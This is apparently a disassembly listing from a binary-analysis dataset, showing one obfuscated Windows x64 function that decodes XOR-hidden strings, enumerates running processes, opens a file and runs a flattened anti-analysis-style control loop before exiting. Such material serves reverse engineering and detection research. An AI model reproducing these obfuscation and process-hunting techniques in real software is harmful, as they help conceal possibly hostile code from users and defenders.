Function at 0x140021de0
Capabilities:
Enumerate processes
Parse pe header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x2d0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
xor r12d, r12d
movabs rax, 0x973aad432288329
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
movabs rax, 0xc9289e8f7387e9bb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
movabs rax, 0x4686958e513c43ef
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
movabs rax, 0x37d153fcfca528ff
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
movabs rax, 0xc1d5fd569ce7634b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
movabs rax, 0x156f103ee2fa4444
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movabs rdi, 0x30469eaf6e06df75
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rbx, 0xa81aaeba16b1dc8e
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs r14, 0x22e4adbd7c5d77d7
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
movabs rsi, 0x7e464c8c4c649c8
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
movabs rax, 0xa7b3cd33ab855a29
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
movabs rax, 0x156f103ee2fa3922
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmm0, xmmword [rbp + 0x120]
vxorps xmm0, xmm0, xmmword [rbp + 0xa0]
vmovdqa xmmword [rbp + 0x120], xmm0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x100]
mov r15, 0xffffffffffffffff
mov rax, r15
vzeroupper
inc rax
cmp byte [rcx + rax], r12b
jne 0x140021f86
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xd8]
call fcn.140025720
nop
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x80]
call fcn.140024050
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1402db5a0], rax
lea rcx, [rbp + 0x80]
call fcn.1400247a0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400247a0
movabs rax, 0x5c16e6c00264b027
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], rax
movabs rax, 0xc96ecbf864d4a5ef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0x22e4adbd192512f9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
xor edx, edx
mov ecx, 2
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x140], pe_nt_image_headers64
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14002211d
nop dword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x16c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x1400221ce
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400220f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov eax, ebx
mov dword [0x1402db5a8], eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x20], 0x607ae45b
mov dword [rbp + 0x24], 0x1f1c9cdf
xor eax, eax
mov qword [rbp + 0x28], rax
movabs r12, 0x29d2c261e551b953
movabs r14, 0x6e49f207cfb433cf
movabs r13, 0x7868d5710fdf83eb
mov rdi, qword [0x1402e3350]
mov rsi, qword [0x1402e3348]
movzx r8d, byte [rbp + 0x40]
mov rax, rsi
mov r9, rdi
cmp rbx, 0x10
jae 0x140022d5f
movzx r11d, byte [rbp + rbx + 0x20]
mov r10d, r11d
nop dword [rax]
cmp rax, rbx
ja 0x140022d56
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1400221e1
lea rdx, [rbx + r12]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx r8d, r11b
sub r8b, cl
sub r8b, 0x45
add r8b, dl
jmp 0x140022230
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x148]
xor ebx, ebx
jmp 0x14002212a
je 0x140022ce3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140022c6b
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140022c40
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140022c13
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140022bc2
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140022b7e
nop dword [rax + rax]
cmp r9, rbx
ja 0x140022d4d
lea rcx, [r9 + 3]
cmp rax, rcx
jae 0x14002225e
lea rdx, [rbx + r14]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx r8d, r11b
sub r8b, cl
add r8b, 0x57
add r8b, dl
jmp 0x140022290
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x140022b62
cmp rax, rcx
je 0x140022b42
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140022b18
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x140022afe
nop
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x14002282a
nop dword [rax]
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140022807
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400227e4
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400227bf
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400227a0
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14002276e
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x140022744
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140022725
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x14002270b
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400226de
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400222a0
mov rax, rdx
lea r9, [rdx + 0x2a]
lea rcx, [r9 + 0x64]
cmp rdx, rcx
jb 0x140022d31
lea rcx, [r9 + 0x1000]
cmp rdx, rcx
jb 0x140022d15
lea rcx, [r9 + 0x2a]
cmp rdx, rcx
jb 0x140022481
lea rcx, [r9 + 0x42]
cmp rdx, rcx
jb 0x140022465
lea rcx, [r9 + 0x400]
cmp rdx, rcx
jb 0x140022449
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
jb 0x140022695
lea rcx, [r9 + 0x40]
cmp rdx, rcx
jb 0x140022650
lea rcx, [r9 + 0x3e8]
cmp rdx, rcx
jb 0x14002260d
lea rcx, [r9 + 0x41]
cmp rdx, rcx
jb 0x1400225eb
lea rcx, [r9 + 0x28]
cmp rdx, rcx
jb 0x1400222a0
lea rax, [r9 + 2]
lea r9, [rax + 0x200]
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1400225be
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x14002259f
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140022585
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x140022556
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x140022529
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x140022506
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400224e6
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400224bd
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x14002249d
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400222a0
lea rax, [r9 + 0x400]
lea r9, [rax + 0xa]
jmp 0x1400222a0
lea r8d, [rbx + 0x11]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x77
add r8b, r11b
jmp 0x140022290
lea r8d, [rbx + 0x6b]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
add r8b, 0x13
add r8b, r11b
jmp 0x140022230
lea r8d, [rbx - 0x3b]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x63
add r8b, r11b
jmp 0x1400221a0
lea r8d, [rbx + 0x78]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x48
add r8b, r11b
movzx r10d, bl
jmp 0x140022b98
lea edx, [rbx - 0x2e]
movzx ecx, dl
and cl, r11b
mov r8d, reloc.WLDAP32.dll_Ordinal_33
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140022186
lea edx, [rbx + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x34
dec rbx
inc rbx
jmp 0x140022186
lea r8d, [rbx - 0x7a]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_45
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
movzx r10d, bl
jmp 0x140022bdc
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x20
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea r8d, [rbx + 0x3a]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea edx, [rbx - 0x6c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0xc
jmp 0x140022c8a
lea r8d, [rbx - 0x12]
movzx ecx, r8b
and cl, r11b
mov edx, 0x3f
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140022cad
lea r8d, [rbx + 0x48]
movzx ecx, r8b
and cl, r11b
mov edx, 4
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
lea edx, [rbx - 0x57]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x61
mov byte [rbp + rbx + 0x20], r8b
inc rbx
jmp 0x140022186
lea edx, [rbx + 3]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x15
cmp r9, 0x10
jb 0x140022600
movzx r10d, bl
lea edx, [r10 + 0x12]
movzx ecx, dl
and cl, r11b
mov r8d, 1
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
add r8b, r8b
jmp 0x140022b98
lea edx, [rbx + 0x5d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x75
cmp rax, 0x3e8
jae 0x140022abb
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x1400229ff
lea edx, [rbx - 0x6a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1a
jmp 0x140022622
lea edx, [rbx - 0x49]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
dec r8b
lea rcx, [r9 + rax]
cmp rcx, 0x200
je 0x140022ae2
lea rcx, [r9 + 8]
cmp rax, rcx
jbe 0x14002290e
lea edx, [rbx - 0x39]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x71
jmp 0x140022665
lea r8d, [rbx - 0x26]
movzx ecx, r8b
and cl, r11b
mov edx, 5
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
lea edx, [rbx + 0x34]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x6c
jmp 0x140022cad
lea r8d, [rbx - 0x72]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140022c8a
lea edx, [rbx - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x58
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea r8d, [rbx + 0x42]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_27
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
movzx r10d, bl
lea edx, [r10 - 0x64]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x44
jmp 0x140022bdc
lea r8d, [rbx - 0xa]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
dec rbx
inc rbx
jmp 0x140022186
lea edx, [rbx + 0x50]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140022186
movzx r10d, bl
lea r8d, [r10 - 0x56]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140022b98
lea rdx, [r9 + 5]
cmp rax, rdx
jae 0x14002284d
lea edx, [rbx + 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x45
jmp 0x1400226a9
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14002287e
lea edx, [rbx - 0x62]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x52
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
cmp rax, rdx
jne 0x1400228b0
lea edx, [rbx + 0x36]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x7a
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400228de
lea r8d, [rbx - 0x7e]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
dec rbx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400226a9
lea edx, [rbx + 0x28]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140022936
movzx r10d, bl
lea edx, [r10 + 0x6d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 5
jmp 0x140022b98
inc rcx
cmp rax, rcx
jne 0x140022961
lea edx, [rbx + 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x7b
inc r9
dec rbx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140022997
lea edx, [rbx + 5]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x23
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400229ca
lea edx, [rbx - 0x55]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x53
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140022665
lea edx, [rbx - 0x63]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x4b
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140022a35
lea r8d, [rbx + 0x3c]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140022a5d
lea r8d, [rbx - 0x78]
movzx ecx, r8b
and cl, r11b
mov edx, 0x24
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140022c8a
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140022a8b
lea r8d, [rbx + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
dec rbx
inc rbx
jmp 0x140022186
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x140022622
movzx r10d, bl
lea r8d, [r10 + 0x6c]
movzx ecx, r8b
and cl, r11b
mov edx, 6
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140022b98
movzx r10d, bl
lea r8d, [r10 - 0x48]
movzx ecx, r8b
and cl, r11b
add cl, cl
movzx edx, byte [rbp + rbx + 0x20]
sub dl, cl
sub r8b, 8
add r8b, dl
add r8b, r11b
jmp 0x140022bdc
lea r8d, [rbx + 0x5e]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x140022c8a
lea edx, [rbx + 0x59]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x6f
jmp 0x140022c8a
lea edx, [rbx - 0x4d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x1b
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea edx, [rbx - 0x3f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x47
dec rbx
inc rbx
jmp 0x140022186
movzx r10d, bl
lea edx, [r10 + 0x75]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x33
jmp 0x140022b98
movzx r10d, bl
lea edx, [r10 + 0x29]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1f
add r10b, 0x65
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x3d
add r10b, r11b
mov byte [rbp + rbx + 0x20], r10b
inc r9
dec rbx
inc rbx
jmp 0x140022186
movzx r10d, bl
lea edx, [r10 + 0x37]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x7f
add r10b, 0xb
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x4d
add r10b, r11b
add r10b, r8b
mov byte [rbp + rbx + 0x20], r10b
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea edx, [rbx - 0x6f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 9
add rax, r9
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
lea rdx, [rbx + r13]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x6d
movzx ecx, r8b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140022186
movabs rdx, 0x24c350ad453c1145
add rdx, rbx
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x1d
lea edx, [rbx - 0x4f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, 0x29
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx + 0x20], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 4]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x1c
add dl, r11b
mov byte [rbp + rbx + 0x20], dl
inc rax
mov rcx, r15
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
movabs rdx, 0x7d784725aff52bf9
add rdx, rbx
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x31
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140022186
add bl, 0x1f
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r8d, [r11 + rbx]
add r8b, 0x27
xor ebx, ebx
jmp 0x140022186
add bl, 0x79
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r8d, [r11 + rbx]
sub r8b, 0x4f
xor ebx, ebx
jmp 0x140022180
mov rax, qword [rbp + 0x16883e4]
jmp 0x140022d63
mov rax, qword [rbp + 0x7a3d37]
jmp 0x140022d63
mov rax, qword [rbp + 0x20]
cmp qword [0x1402e0bd0], rax
je 0x140022d7b
xor r12d, r12d
call r12
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14001f620
lea rcx, [rax + 0x118]
call fcn.140024900
mov rbx, rax
call fcn.140042460
mov rdi, rax
lea rcx, [rbx + 0x198]
call fcn.140024900
mov qword [rbp + 0x10], rax
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xor r12d, r12d
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140150108
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], reloc.WS2_32.dll_select
mov qword [rbp + 0x38], Ordinal_32
movups xmm0, xmmword [str.Workspace___Client]
movups xmmword [rax], xmm0
movzx ecx, word [0x140167cb8]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], r12b
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp]
call fcn.1400203f0
mov r14, qword [rax]
movabs rax, 0x5327eedc0574b022
movabs r13, 0xa81aaeba16b1dc8e
mov qword [rbp], rax
mov rax, qword [rbp]
test r14, r14
je 0x140022f2c
mov qword [rbp + 0x20], rax
movabs rax, 0xcd73c2f9369cfceb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x22e4adbd7c5d03b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rcx, 0x7e464c8c4c649c8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x30469eaf6e06df75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x22e4adbd7c5d77d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vxorps xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0xd8], xmm2
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r12
lea rax, [rbp + 0x20]
mov r8, r15
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140022f00
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xd8]
call fcn.14001eec0
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xc0]
jmp 0x140022fce
mov qword [rbp + 0xc0], rax
movabs rax, 0xa81aaeba16b1dceb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x30469eaf6e06df75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0xc0]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140022fa4
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x80]
call fcn.14001eec0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x10]
call fcn.1400203f0
mov rsi, qword [rax]
mov qword [rbp + 8], r12
lea rcx, [rsi + 0x418]
mov r8d, 8
lea rdx, [rbp + 8]
call fcn.14001f5b0
call fcn.14001f620
lea rcx, [rax + 0x10]
call fcn.140024900
mov rbx, rax
test r14, r14
je 0x1400230ef
movabs rax, 0x1035ecca1767b325
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xdc74cbd37af2fca3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rdx, 0x22e4adbd7c5d77d7
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rcx, 0x7e464c8c4c649c8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x30469eaf6e06df75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vxorps xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x60], xmm2
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp + 0x20]
mov r8, r15
vzeroupper
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400230d0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.14001eec0
lea r8, [rbp + 0x60]
jmp 0x140023171
movabs rax, 0x3035ecca1767b325
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
